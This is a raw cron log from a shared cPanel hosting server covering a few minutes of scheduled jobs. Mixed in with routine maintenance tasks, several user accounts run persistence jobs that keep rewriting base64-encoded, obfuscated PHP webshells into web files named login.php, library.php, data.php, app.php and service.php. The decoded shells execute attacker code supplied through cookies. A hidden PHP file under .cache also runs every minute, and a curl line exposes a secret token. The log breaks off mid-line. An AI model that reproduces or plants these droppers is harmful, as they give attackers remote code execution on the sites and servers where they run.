Mar  1 20:05:01 medusa CROND[17400]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:05:01 medusa CROND[17404]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:05:01 medusa CROND[17399]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 20:05:01 medusa CROND[17406]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:05:01 medusa CROND[17411]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:05:01 medusa CROND[17413]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:05:01 medusa CROND[17410]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 20:05:01 medusa CROND[17417]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:05:01 medusa CROND[17408]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 20:05:01 medusa CROND[17422]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:05:01 medusa CROND[17423]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:05:01 medusa CROND[17403]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 20:05:01 medusa CROND[17429]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 20:05:01 medusa CROND[17430]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:05:01 medusa CROND[17427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:05:01 medusa CROND[17409]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 20:05:01 medusa CROND[17418]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 20:06:01 medusa CROND[25826]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:06:01 medusa CROND[25827]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:06:01 medusa CROND[25829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:06:01 medusa CROND[25830]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 20:06:01 medusa CROND[25828]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 20:06:01 medusa CROND[25833]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:06:01 medusa CROND[25835]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 20:06:01 medusa CROND[25844]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 20:06:01 medusa CROND[25846]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:06:01 medusa CROND[25845]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:06:01 medusa CROND[25847]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:06:01 medusa CROND[25857]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:06:01 medusa CROND[25859]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:06:01 medusa CROND[25858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:06:01 medusa CROND[25863]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:07:01 medusa CROND[5837]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:07:02 medusa CROND[5946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:07:02 medusa CROND[5976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:07:02 medusa CROND[6015]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:07:02 medusa CROND[6016]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:07:02 medusa CROND[6018]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:07:02 medusa CROND[6019]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 20:07:02 medusa CROND[6025]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:07:02 medusa CROND[6030]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 